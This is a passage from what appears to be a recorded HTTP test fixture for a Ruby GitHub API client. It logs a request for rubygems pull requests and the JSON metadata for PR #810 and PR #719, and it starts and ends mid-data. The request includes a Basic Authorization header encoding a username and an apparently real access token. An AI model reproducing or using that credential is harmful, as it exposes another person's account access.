Y29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbnRlbnRzL3srcGF0aH0iLCJjb21wYXJlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tcGFyZS97YmFzZX0uLi57aGVhZH0iLCJtZXJnZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9tZXJnZXMiLCJhcmNoaXZlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMve2FyY2hpdmVfZm9ybWF0fXsvcmVmfSIsImRvd25sb2Fkc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2Rvd25sb2FkcyIsImlzc3Vlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlc3svbnVtYmVyfSIsInB1bGxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHN7L251bWJlcn0iLCJtaWxlc3RvbmVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbWlsZXN0b25lc3svbnVtYmVyfSIsIm5vdGlmaWNhdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ub3RpZmljYXRpb25zez9zaW5jZSxhbGwscGFydGljaXBhdGluZ30iLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHN7L25hbWV9IiwicmVsZWFzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9yZWxlYXNlc3svaWR9IiwiZGVwbG95bWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9kZXBsb3ltZW50cyIsImNyZWF0ZWRfYXQiOiIyMDEwLTA0LTE2VDE5OjAyOjQ0WiIsInVwZGF0ZWRfYXQiOiIyMDE4LTAxLTA1VDE5OjM2OjA2WiIsInB1c2hlZF9hdCI6IjIwMTgtMDEtMDVUMDg6MjA6MzVaIiwiZ2l0X3VybCI6ImdpdDovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMuZ2l0Iiwic3NoX3VybCI6ImdpdEBnaXRodWIuY29tOnJ1YnlnZW1zL3J1YnlnZW1zLmdpdCIsImNsb25lX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy5naXQiLCJzdm5fdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zIiwiaG9tZXBhZ2UiOiJodHRwczovL3J1YnlnZW1zLm9yZy8iLCJzaXplIjoxNDI5MCwic3RhcmdhemVyc19jb3VudCI6MTkwNiwid2F0Y2hlcnNfY291bnQiOjE5MDYsImxhbmd1YWdlIjoiUnVieSIsImhhc19pc3N1ZXMiOnRydWUsImhhc19wcm9qZWN0cyI6ZmFsc2UsImhhc19kb3dubG9hZHMiOnRydWUsImhhc193aWtpIjpmYWxzZSwiaGFzX3BhZ2VzIjpmYWxzZSwiZm9ya3NfY291bnQiOjk1OSwibWlycm9yX3VybCI6bnVsbCwiYXJjaGl2ZWQiOmZhbHNlLCJvcGVuX2lzc3Vlc19jb3VudCI6MTYyLCJsaWNlbnNlIjp7ImtleSI6Im90aGVyIiwibmFtZSI6Ik90aGVyIiwic3BkeF9pZCI6bnVsbCwidXJsIjpudWxsfSwiZm9ya3MiOjk1OSwib3Blbl9pc3N1ZXMiOjE2Miwid2F0Y2hlcnMiOjE5MDYsImRlZmF1bHRfYnJhbmNoIjoibWFzdGVyIn19LCJfbGlua3MiOnsic2VsZiI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy85NzEifSwiaHRtbCI6eyJocmVmIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvOTcxIn0sImlzc3VlIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy85NzEifSwiY29tbWVudHMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzk3MS9jb21tZW50cyJ9LCJyZXZpZXdfY29tbWVudHMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvOTcxL2NvbW1lbnRzIn0sInJldmlld19jb21tZW50Ijp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzL2NvbW1lbnRzey9udW1iZXJ9In0sImNvbW1pdHMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvOTcxL2NvbW1pdHMifSwic3RhdHVzZXMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3RhdHVzZXMvNzgzMGM4MzNhYmY5NmRmOWVhOTIwYzU5MDRiOTk5NDYxMzgxM2E2NyJ9fSwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTUVNQkVSIn1d http_version: recorded_at: Sat, 06 Jan 2018 15:00:33 GMT - request: method: get uri: https://api.github.com/repositories/614070/pulls?page=2&per_page=30 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:34 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4291' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"bbb75c19a9453623ff413945022612a4" X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.120700' X-Github-Request-Id: - C6DA:4D95:F48E85:1C856B0:5A50E491 body: encoding: ASCII-8BIT string: '[{"url":"https://api.github.com/repos/rubygems/rubygems/pulls/810","id":12248295,"html_url":"https://github.com/rubygems/rubygems/pull/810","diff_url":"https://github.com/rubygems/rubygems/pull/810.diff","patch_url":"https://github.com/rubygems/rubygems/pull/810.patch","issue_url":"https://api.github.com/repos/rubygems/rubygems/issues/810","number":810,"state":"open","locked":false,"title":"the `debug` method is never used","user":{"login":"tenderlove","id":3124,"avatar_url":"https://avatars1.githubusercontent.com/u/3124?v=4","gravatar_id":"","url":"https://api.github.com/users/tenderlove","html_url":"https://github.com/tenderlove","followers_url":"https://api.github.com/users/tenderlove/followers","following_url":"https://api.github.com/users/tenderlove/following{/other_user}","gists_url":"https://api.github.com/users/tenderlove/gists{/gist_id}","starred_url":"https://api.github.com/users/tenderlove/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tenderlove/subscriptions","organizations_url":"https://api.github.com/users/tenderlove/orgs","repos_url":"https://api.github.com/users/tenderlove/repos","events_url":"https://api.github.com/users/tenderlove/events{/privacy}","received_events_url":"https://api.github.com/users/tenderlove/received_events","type":"User","site_admin":true},"body":"I''m not sure what this method is for (other than the comment). It''s\nnever used in the tests, and it doesn''t seem like anything in RubyGems\nis calling it.\n","created_at":"2014-02-05T23:59:44Z","updated_at":"2016-06-09T09:21:40Z","closed_at":null,"merged_at":null,"merge_commit_sha":"8e9955978949fdecd5f46c7482d819f8cad65a90","assignee":null,"assignees":[],"requested_reviewers":[],"milestone":null,"commits_url":"https://api.github.com/repos/rubygems/rubygems/pulls/810/commits","review_comments_url":"https://api.github.com/repos/rubygems/rubygems/pulls/810/comments","review_comment_url":"https://api.github.com/repos/rubygems/rubygems/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rubygems/rubygems/issues/810/comments","statuses_url":"https://api.github.com/repos/rubygems/rubygems/statuses/526f0ff8930a9d523067e02a388e39a27cd2f3a5","head":{"label":"tenderlove:rmdebug","ref":"rmdebug","sha":"526f0ff8930a9d523067e02a388e39a27cd2f3a5","user":{"login":"tenderlove","id":3124,"avatar_url":"https://avatars1.githubusercontent.com/u/3124?v=4","gravatar_id":"","url":"https://api.github.com/users/tenderlove","html_url":"https://github.com/tenderlove","followers_url":"https://api.github.com/users/tenderlove/followers","following_url":"https://api.github.com/users/tenderlove/following{/other_user}","gists_url":"https://api.github.com/users/tenderlove/gists{/gist_id}","starred_url":"https://api.github.com/users/tenderlove/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tenderlove/subscriptions","organizations_url":"https://api.github.com/users/tenderlove/orgs","repos_url":"https://api.github.com/users/tenderlove/repos","events_url":"https://api.github.com/users/tenderlove/events{/privacy}","received_events_url":"https://api.github.com/users/tenderlove/received_events","type":"User","site_admin":true},"repo":{"id":766693,"name":"rubygems","full_name":"tenderlove/rubygems","owner":{"login":"tenderlove","id":3124,"avatar_url":"https://avatars1.githubusercontent.com/u/3124?v=4","gravatar_id":"","url":"https://api.github.com/users/tenderlove","html_url":"https://github.com/tenderlove","followers_url":"https://api.github.com/users/tenderlove/followers","following_url":"https://api.github.com/users/tenderlove/following{/other_user}","gists_url":"https://api.github.com/users/tenderlove/gists{/gist_id}","starred_url":"https://api.github.com/users/tenderlove/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tenderlove/subscriptions","organizations_url":"https://api.github.com/users/tenderlove/orgs","repos_url":"https://api.github.com/users/tenderlove/repos","events_url":"https://api.github.com/users/tenderlove/events{/privacy}","received_events_url":"https://api.github.com/users/tenderlove/received_events","type":"User","site_admin":true},"private":false,"html_url":"https://github.com/tenderlove/rubygems","description":"Library packaging and distribution for Ruby.","fork":true,"url":"https://api.github.com/repos/tenderlove/rubygems","forks_url":"https://api.github.com/repos/tenderlove/rubygems/forks","keys_url":"https://api.github.com/repos/tenderlove/rubygems/keys{/key_id}","collaborators_url":"https://api.github.com/repos/tenderlove/rubygems/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/tenderlove/rubygems/teams","hooks_url":"https://api.github.com/repos/tenderlove/rubygems/hooks","issue_events_url":"https://api.github.com/repos/tenderlove/rubygems/issues/events{/number}","events_url":"https://api.github.com/repos/tenderlove/rubygems/events","assignees_url":"https://api.github.com/repos/tenderlove/rubygems/assignees{/user}","branches_url":"https://api.github.com/repos/tenderlove/rubygems/branches{/branch}","tags_url":"https://api.github.com/repos/tenderlove/rubygems/tags","blobs_url":"https://api.github.com/repos/tenderlove/rubygems/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/tenderlove/rubygems/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/tenderlove/rubygems/git/refs{/sha}","trees_url":"https://api.github.com/repos/tenderlove/rubygems/git/trees{/sha}","statuses_url":"https://api.github.com/repos/tenderlove/rubygems/statuses/{sha}","languages_url":"https://api.github.com/repos/tenderlove/rubygems/languages","stargazers_url":"https://api.github.com/repos/tenderlove/rubygems/stargazers","contributors_url":"https://api.github.com/repos/tenderlove/rubygems/contributors","subscribers_url":"https://api.github.com/repos/tenderlove/rubygems/subscribers","subscription_url":"https://api.github.com/repos/tenderlove/rubygems/subscription","commits_url":"https://api.github.com/repos/tenderlove/rubygems/commits{/sha}","git_commits_url":"https://api.github.com/repos/tenderlove/rubygems/git/commits{/sha}","comments_url":"https://api.github.com/repos/tenderlove/rubygems/comments{/number}","issue_comment_url":"https://api.github.com/repos/tenderlove/rubygems/issues/comments{/number}","contents_url":"https://api.github.com/repos/tenderlove/rubygems/contents/{+path}","compare_url":"https://api.github.com/repos/tenderlove/rubygems/compare/{base}...{head}","merges_url":"https://api.github.com/repos/tenderlove/rubygems/merges","archive_url":"https://api.github.com/repos/tenderlove/rubygems/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/tenderlove/rubygems/downloads","issues_url":"https://api.github.com/repos/tenderlove/rubygems/issues{/number}","pulls_url":"https://api.github.com/repos/tenderlove/rubygems/pulls{/number}","milestones_url":"https://api.github.com/repos/tenderlove/rubygems/milestones{/number}","notifications_url":"https://api.github.com/repos/tenderlove/rubygems/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/tenderlove/rubygems/labels{/name}","releases_url":"https://api.github.com/repos/tenderlove/rubygems/releases{/id}","deployments_url":"https://api.github.com/repos/tenderlove/rubygems/deployments","created_at":"2010-07-09T20:36:45Z","updated_at":"2015-09-17T18:17:29Z","pushed_at":"2016-03-15T18:35:38Z","git_url":"git://github.com/tenderlove/rubygems.git","ssh_url":"git@github.com:tenderlove/rubygems.git","clone_url":"https://github.com/tenderlove/rubygems.git","svn_url":"https://github.com/tenderlove/rubygems","homepage":"http://rubygems.org","size":17958,"stargazers_count":2,"watchers_count":2,"language":"Ruby","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":null,"url":null},"forks":1,"open_issues":0,"watchers":2,"default_branch":"master"}},"base":{"label":"rubygems:master","ref":"master","sha":"ec6be1783d9121efd8f733236a1ac11f0ec88b19","user":{"login":"rubygems","id":208761,"avatar_url":"https://avatars0.githubusercontent.com/u/208761?v=4","gravatar_id":"","url":"https://api.github.com/users/rubygems","html_url":"https://github.com/rubygems","followers_url":"https://api.github.com/users/rubygems/followers","following_url":"https://api.github.com/users/rubygems/following{/other_user}","gists_url":"https://api.github.com/users/rubygems/gists{/gist_id}","starred_url":"https://api.github.com/users/rubygems/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rubygems/subscriptions","organizations_url":"https://api.github.com/users/rubygems/orgs","repos_url":"https://api.github.com/users/rubygems/repos","events_url":"https://api.github.com/users/rubygems/events{/privacy}","received_events_url":"https://api.github.com/users/rubygems/received_events","type":"Organization","site_admin":false},"repo":{"id":614070,"name":"rubygems","full_name":"rubygems/rubygems","owner":{"login":"rubygems","id":208761,"avatar_url":"https://avatars0.githubusercontent.com/u/208761?v=4","gravatar_id":"","url":"https://api.github.com/users/rubygems","html_url":"https://github.com/rubygems","followers_url":"https://api.github.com/users/rubygems/followers","following_url":"https://api.github.com/users/rubygems/following{/other_user}","gists_url":"https://api.github.com/users/rubygems/gists{/gist_id}","starred_url":"https://api.github.com/users/rubygems/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rubygems/subscriptions","organizations_url":"https://api.github.com/users/rubygems/orgs","repos_url":"https://api.github.com/users/rubygems/repos","events_url":"https://api.github.com/users/rubygems/events{/privacy}","received_events_url":"https://api.github.com/users/rubygems/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rubygems/rubygems","description":"Library packaging and distribution for Ruby.","fork":false,"url":"https://api.github.com/repos/rubygems/rubygems","forks_url":"https://api.github.com/repos/rubygems/rubygems/forks","keys_url":"https://api.github.com/repos/rubygems/rubygems/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rubygems/rubygems/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rubygems/rubygems/teams","hooks_url":"https://api.github.com/repos/rubygems/rubygems/hooks","issue_events_url":"https://api.github.com/repos/rubygems/rubygems/issues/events{/number}","events_url":"https://api.github.com/repos/rubygems/rubygems/events","assignees_url":"https://api.github.com/repos/rubygems/rubygems/assignees{/user}","branches_url":"https://api.github.com/repos/rubygems/rubygems/branches{/branch}","tags_url":"https://api.github.com/repos/rubygems/rubygems/tags","blobs_url":"https://api.github.com/repos/rubygems/rubygems/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rubygems/rubygems/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rubygems/rubygems/git/refs{/sha}","trees_url":"https://api.github.com/repos/rubygems/rubygems/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rubygems/rubygems/statuses/{sha}","languages_url":"https://api.github.com/repos/rubygems/rubygems/languages","stargazers_url":"https://api.github.com/repos/rubygems/rubygems/stargazers","contributors_url":"https://api.github.com/repos/rubygems/rubygems/contributors","subscribers_url":"https://api.github.com/repos/rubygems/rubygems/subscribers","subscription_url":"https://api.github.com/repos/rubygems/rubygems/subscription","commits_url":"https://api.github.com/repos/rubygems/rubygems/commits{/sha}","git_commits_url":"https://api.github.com/repos/rubygems/rubygems/git/commits{/sha}","comments_url":"https://api.github.com/repos/rubygems/rubygems/comments{/number}","issue_comment_url":"https://api.github.com/repos/rubygems/rubygems/issues/comments{/number}","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/{+path}","compare_url":"https://api.github.com/repos/rubygems/rubygems/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rubygems/rubygems/merges","archive_url":"https://api.github.com/repos/rubygems/rubygems/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rubygems/rubygems/downloads","issues_url":"https://api.github.com/repos/rubygems/rubygems/issues{/number}","pulls_url":"https://api.github.com/repos/rubygems/rubygems/pulls{/number}","milestones_url":"https://api.github.com/repos/rubygems/rubygems/milestones{/number}","notifications_url":"https://api.github.com/repos/rubygems/rubygems/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rubygems/rubygems/labels{/name}","releases_url":"https://api.github.com/repos/rubygems/rubygems/releases{/id}","deployments_url":"https://api.github.com/repos/rubygems/rubygems/deployments","created_at":"2010-04-16T19:02:44Z","updated_at":"2018-01-05T19:36:06Z","pushed_at":"2018-01-05T08:20:35Z","git_url":"git://github.com/rubygems/rubygems.git","ssh_url":"git@github.com:rubygems/rubygems.git","clone_url":"https://github.com/rubygems/rubygems.git","svn_url":"https://github.com/rubygems/rubygems","homepage":"https://rubygems.org/","size":14290,"stargazers_count":1906,"watchers_count":1906,"language":"Ruby","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":959,"mirror_url":null,"archived":false,"open_issues_count":162,"license":{"key":"other","name":"Other","spdx_id":null,"url":null},"forks":959,"open_issues":162,"watchers":1906,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rubygems/rubygems/pulls/810"},"html":{"href":"https://github.com/rubygems/rubygems/pull/810"},"issue":{"href":"https://api.github.com/repos/rubygems/rubygems/issues/810"},"comments":{"href":"https://api.github.com/repos/rubygems/rubygems/issues/810/comments"},"review_comments":{"href":"https://api.github.com/repos/rubygems/rubygems/pulls/810/comments"},"review_comment":{"href":"https://api.github.com/repos/rubygems/rubygems/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rubygems/rubygems/pulls/810/commits"},"statuses":{"href":"https://api.github.com/repos/rubygems/rubygems/statuses/526f0ff8930a9d523067e02a388e39a27cd2f3a5"}},"author_association":"MEMBER"},{"url":"https://api.github.com/repos/rubygems/rubygems/pulls/719","id":10227276,"html_url":"https://github.com/rubygems/rubygems/pull/719","diff_url":"https://github.com/rubygems/rubygems/pull/719.diff","patch_url":"https://github.com/rubygems/rubygems/pull/719.patch","issue_url":"https://api.github.com/repos/rubygems/rubygems/issues/719","number":719,"state":"open","locked":false,"title":"Support for The Update Framework (TUF)","user":{"login":"tarcieri","id":797,"avatar_url":"https://avatars2.githubusercontent.com/u/797?v=4","gravatar_id":"","url":"https://api.github.com/users/tarcieri","html_url":"https://github.com/tarcieri","followers_url":"https://api.github.com/users/tarcieri/followers","following_url":"https://api.github.com/users/tarcieri/following{/other_user}","gists_url":"https://api.github.com/users/tarcieri/gists{/gist_id}","starred_url":"https://api.github.com/users/tarcieri/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tarcieri/subscriptions","organizations_url":"https://api.github.com/users/tarcieri/orgs","repos_url":"https://api.github.com/users/tarcieri/repos","events_url":"https://api.github.com/users/tarcieri/events{/privacy}","received_events_url":"https://api.github.com/users/tarcieri/received_events","type":"User","site_admin":false},"body":"This PR contains an implementation of a client for [The Update Framework (TUF)](https://updateframework.com/projects/project) which provides a complementary/supplemental security system for the existing metadata used by RubyGems.\n\nWe''ve documented our plans here:\n\nhttps://docs.google.com/document/d/1o68vVLAgqyK--u0sfJx8ORlDSjc3oyMtD8dj7kNuOa0/\n\nSimilar work is being done in Python to integrate TUF with PyPI:\n\nhttps://github.com/theupdateframework/pep-on-pypi-with-tuf\n\nTUF provides a security model for software update systems which uses a \"least authority\" approach with multiple roles with limited power and a combination of online and offline keys:\n\n![TUF Trust Model](https://raw.github.com/theupdateframework/pep-on-pypi-with-tuf/master/figure1.png)\n\nWe (by which I mean @xaviershay ;) have also implemented server support for RubyGems.org which we''ll be submitting in a separate PR.\n\nThere are a number of roles in TUF and the existing work doesn''t implement all of them. Here''s a checklist of what''s been accomplished and what''s needed:\n- [x] Gem::TUF::PublicKey\n- [ ] Gem::TUF::PrivateKey/KeyStore?\n- [x] Gem::TUF::Signer/Verifier\n- [x] Gem::TUF::Root\n- [ ] Gem::TUF::Targets\n- [ ] Gem::TUF::Targets::Claimed (offline delegation to offline developer keys)\n- [ ] Gem::TUF::Targets::RecentlyClaimed (online delegation to offline developer keys)\n- [ ] Gem::TUF::Targets::Unclaimed (grandfather in old gems)\n- [ ] Gem::TUF::Releases\n- [ ] Gem::TUF::Timestamp\n- [ ] Gem::RemoteFetcher support for TUF\n- [ ] Ruby 1.8 support for JSON\n- [ ] Move CanonicalJSON to the Gem::TUF namespace\n","created_at":"2013-11-22T22:19:09Z","updated_at":"2017-08-30T14:22:21Z","closed_at":null,"merged_at":null,"merge_commit_sha":"d884df9d068d46ef700296246f876398511d76d2","assignee":null,"assignees":[],"requested_reviewers":[],"milestone":null,"commits_url":"https://api.github.com/repos/rubygems/rubygems/pulls/719/commits","review_comments_url":"https://api.github.com/repos/rubygems/rubygems/pulls/719/comments","review_comment_url":"https://api.github.com/repos/rubygems/rubygems/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rubygems/rubygems/issues/719/comments","statuses_url":"https://api.github.com/repos/rubygems/rubygems/statuses/7f7d25847248494b52e9b4e3704fdf1322d35615","head":{"label":"square:tuf","ref":"tuf","sha":"7f7d25847248494b52e9b4e3704fdf1322d35615","user":{"login":"square","id":82592,"avatar_url":"https://avatars0.githubusercontent.com/u/82592?v=4","gravatar_id":"","url":"https://api.github.com/users/square","html_url":"https://github.com/square","followers_url":"https://api.github.com/users/square/followers","following_url":"https://api.github.com/users/square/following{/other_user}","gists_url":"https://api.github.com/users/square/gists{/gist_id}","starred_url":"https://api.github.com/users/square/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/square/subscriptions","organizations_url":"https://api.github.com/users/square/orgs","repos_url":"https://api.github.com/users/square/repos","events_url":"https://api.github.com/users/square/events{/privacy}","received_events_url":"https://api.github.com/users/square/received_events","type":"Organization","site_admin":false},"repo":{"id":14511152,"name":"rubygems","full_name":"square/rubygems","owner":{"login":"square","id":82592,"avatar_url":"https://avatars0.githubusercontent.com/u/82592?v=4","gravatar_id":"","url":"https://api.github.com/users/square","html_url":"https://github.com/square","followers_url":"https://api.github.com/users/square/followers","following_url":"https://api.github.com/users/square/following{/other_user}","gists_url":"https://api.github.com/users/square/gists{/gist_id}","starred_url":"https://api.github.com/users/square/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/square/subscriptions","organizations_url":"https://api.github.com/users/square/orgs","repos_url":"https://api.github.com/users/square/repos","events_url":"https://api.github.com/users/square/events{/privacy}","received_events_url":"https://api.github.com/users/square/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/square/rubygems","description":"Library packaging and distribution for Ruby.","fork":true,"url":"https://api.github.com/repos/square/rubygems","forks_url":"https://api.github.com/repos/square/rubygems/forks","keys_url":"https://api.github.com/repos/square/rubygems/keys{/key_id}","collaborators_url":"https://api.github.com/repos/square/rubygems/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/square/rubygems/teams","hooks_url":"https://api.github.com/repos/square/rubygems/hooks","issue_events_url":"https://api.github.com/repos/square/rubygems/issues/events{/number}","events_url":"https://api.github.com/repos/square/rubygems/events","assignees_url":"https://api.github.com/repos/square/rubygems/assignees{/user}","branches_url":"https://api.github.com/repos/square/rubygems/branches{/branch}","tags_url":"https://api.github.com/repos/square/rubygems/tags","blobs_url":"https://api.github.com/repos/square/rubygems/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/square/rubygems/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/square/rubygems/git/refs{/sha}","trees_url":"https://api.github.com/repos/square/rubygems/git/trees{/sha}","statuses_url":"https://api.github.com/repos/square/rubygems/statuses/{sha}","languages_url":"https://api.github.com/repos/square/rubygems/languages","stargazers_url":"https://api.github.com/repos/square/rubygems/stargazers","contributors_url":"https://api.github.com/repos/square/rubygems/contributors","subscribers_url":"https://api.github.com/repos/square/rubygems/subscribers","subscription_url":"https://api.github.com/repos/square/rubygems/subscription","commits_url":"https://api.github.com/repos/square/rubygems/commits{/sha}","git_commits_url":"https://api.github.com/repos/square/rubygems/git/commits{/sha}","comments_url":"https://api.github.com/repos/square/rubygems/comments{/number}","issue_comment_url":"https://api.github.com/repos/square/rubygems/issues/comments{/number}","contents_url":"https://api.github.com/repos/square/rubygems/contents/{+path}","compare_url":"https://api.github.com/repos/square/rubygems/compare/{base}...{head}","merges_url":"https://api.github.com/repos/square/rubygems/merges","archive_url":"https://api.github.com/repos/square/rubygems/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/square/rubygems/downloads","issues_url":"https://api.github.com/repos/square/rubygems/issues{/number}","pulls_url":"https://api.github.com/repos/square/rubygems/pulls{/number}","milestones_url":"https://api.github.com/repos/square/rubygems/milestones{/number}","notifications_url":"https://api.github.com/repos/square/rubygems/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/square/rubygems/labels{/name}","releases_url":"https://api.github.com/repos/square/rubygems/releases{/id}","deployments_url":"https://api.github.com/repos/square/rubygems/deployments","created_at":"2013-11-19T01:55:34Z","updated_at":"2014-09-23T21:57:30Z","pushed_at":"2014-01-20T19:25:48Z","git_url":"git://github.com/square/rubygems.git","ssh_url":"git@github.com:square/rubygems.git","clone_url":"https://github.com/square/rubygems.git","svn_url":"https://github.com/square/rubygems","homepage":"http://rubygems.org","size":16569,"stargazers_count":2,"watchers_count":2,"language":"Ruby","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":4,"mirror_url":null,"archived":false,"open_issues_count":1,"license":{"key":"other","name":"Other","spdx_id":null,"url":null},"forks":4,"open_issues":1,"watchers":2,"default_branch":"master"}},"base":{"label":"rubygems:master","ref":"master","sha":"6ecb7621b236fcb3ae5f2261958ca04afba4c3a2","user":{"login":"rubygems","id":208761,"avatar_url":"https://avatars0.githubusercontent.com/u/208761?v=4","gravatar_id":"","url":"https://api.github.com/users/rubygems","html_url":"https://github.com/rubygems","followers_url":"https://api.github.com/users/rubygems/followers","following_url":"https://api.github.com/users/rubygems/following{/other_user}","gists_url":"https://api.github.com/users/rubygems/gists{/gist_id}","starred_url":"https://api.github.com/users/rubygems/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rubygems/subscriptions","organizations_url":"https://api.github.com/users/rubygems/orgs","repos_url":"https://api.github.com/users/rubygems/repos","events_url":"https://api.github.com/users/rubygems/events{/privacy}","received_events_url":"https://api.github.com/users/rubygems/received_events","type":"Organization","site_admin":false},"repo":{"id":614070,"name":"rubygems","full_name":"rubygems/rubygems","owner":{"login":"rubygems","id":208761,"avatar_url":"https://avatars0.githubusercontent.com/u/208761?v=4","gravatar_id":"","url":"https://api.github.com/users/rubygems","html_url":"https://github.com/rubygems","followers_url":"https://api.github.com/users/rubygems/followers","following_url":"https://api.github.com/users/rubygems/following{/other_user}","gists_url":"https://api.github.com/users/rubygems/gists{/gist_id}","starred_url":"https://api.github.com/users/rubygems/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rubygems/subscriptions","organizations_url":"https://api.github.com/users/ruby